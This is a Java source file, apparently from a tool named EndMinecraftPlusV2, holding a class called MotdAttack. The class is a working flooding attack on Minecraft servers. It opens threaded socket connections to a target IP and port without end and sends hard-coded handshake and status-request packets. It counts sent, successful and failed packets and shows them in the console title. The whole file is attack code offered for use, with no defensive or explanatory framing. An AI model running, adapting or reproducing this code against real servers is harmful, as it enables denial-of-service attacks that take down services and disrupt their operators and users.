100 lines
3.7 KiB
Java
100 lines
3.7 KiB
Java
package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils;
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import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
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import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
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import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
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import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle;
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import java.io.ByteArrayOutputStream;
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import java.io.IOException;
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import java.io.InputStream;
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import java.io.OutputStream;
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import java.net.InetSocketAddress;
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import java.net.Socket;
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import java.util.ArrayList;
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import java.util.List;
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public class MotdAttack extends IAttack {
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public List<Thread> threads = new ArrayList<>();
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public long starttime;
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private int runTimes = 0;
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private int successTimes = 0;
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private int errorTimes = 0;
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public MotdAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
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super(ip, port, time, maxconnect, joinsleep);
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}
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public void start() {
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starttime = System.currentTimeMillis();
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if (this.attack_maxconnect < 1) {
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this.attack_maxconnect = 10;
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}
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while (true) {
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SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - MotdAttack | 当前连接数: " + threads.size() + "个 | 发包次数: " + runTimes + "次 | 有效包数: " + successTimes + "次 | 错误次数: " + errorTimes);
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if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
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stop();
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return;
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}
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if (this.attack_maxconnect > 0 && (threads.size() > this.attack_maxconnect)) {
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continue;
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}
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runTimes++;
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Thread task = new Thread(() -> {
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try {
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Socket socket = new Socket();
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socket.connect(new InetSocketAddress(ip, port));
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while (socket.isConnected() && !socket.isClosed()) {
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OutputStream out = socket.getOutputStream();
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InputStream in = socket.getInputStream();
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out.write(new byte[] { 0x07, 0x00, 0x05, 0x01, 0x30, 0x63, (byte) 0xDD, 0x01 });
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out.flush();
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out.write(new byte[] { 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01,
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0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00 });
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out.flush();
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byte[] buffer = new byte[12800];
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if (in.read(buffer) != -1) {
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LogUtil.doLog(0, "成功发送了Motd更新数据包。", "MotdAttack#" + Thread.currentThread().getName());
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successTimes++;
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}
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socket.close();
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}
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OtherUtils.doSleep(attack_joinsleep);
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} catch (Throwable e) {
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if (ConfigUtil.ShowFails) {
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LogUtil.doLog(0, "发生错误: " + e, "MotdAttack#" + Thread.currentThread().getName());
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}
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errorTimes++;
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}
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});
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threads.add(task);
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task.setName(String.valueOf(runTimes));
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task.start();
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new Thread(() -> {
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OtherUtils.doSleep(ConfigUtil.ConnectTimeout);
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if (task.isAlive()) {
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task.stop();
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}
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threads.remove(task);
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}).start();
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}
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}
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@SuppressWarnings("deprecation")
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public void stop() {
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threads.forEach(Thread::stop);
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}
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}
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